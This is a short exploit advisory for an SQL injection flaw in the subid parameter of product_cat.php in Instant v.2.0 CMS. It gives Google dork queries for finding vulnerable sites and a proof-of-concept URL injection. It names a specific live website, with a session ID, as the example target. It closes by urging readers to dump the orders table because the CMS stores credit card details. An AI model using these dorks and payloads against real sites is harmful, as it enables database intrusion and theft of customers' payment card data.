A SQL Injection Vulnerability has been discovered in the Instant v.2.0 CMS. 
The Vulnerability is located in the subid Value of the product_cat.php File. Attackers are able to execute own SQL commands 
by usage of a GET Method Request with manipulated subid Value. 
Attackers are able to read Database information by execution of own SQL commands. 
  
DORKS (How to find the target) : 
================================ 
"Powered By Instant" inurl:/catalog/ 
inurl:/product_cat.php?subid= 
Or use your own Google Dorks :) 

Proof of Concept  
================  

SQL Injection 
PoC :  
http://[Site]/[Path]/product_cat.php/subid=['SQLi]  
And you have to change the URL structure to  
http://[Site]/[Path]/product_cat.php?subid=['SQLi] 

Example : 
http://www.cynthiawebbdesigns.com/catalog/product_cat.php/subid=16617/index.html?PHPSESSID=3ef7e156add41316201ffe87bd489a7d 
Just change the URL structure to http://www.cynthiawebbdesigns.com/catalog/product_cat.php?subid='16617 
And you'll see this error notice : You have an error in your SQL syntax; check the manual that corresponds to your MySQL ... 

Note : This CMS stored Credit Card Infos on the Database, just open your Fav Tool and Dump the orders Table
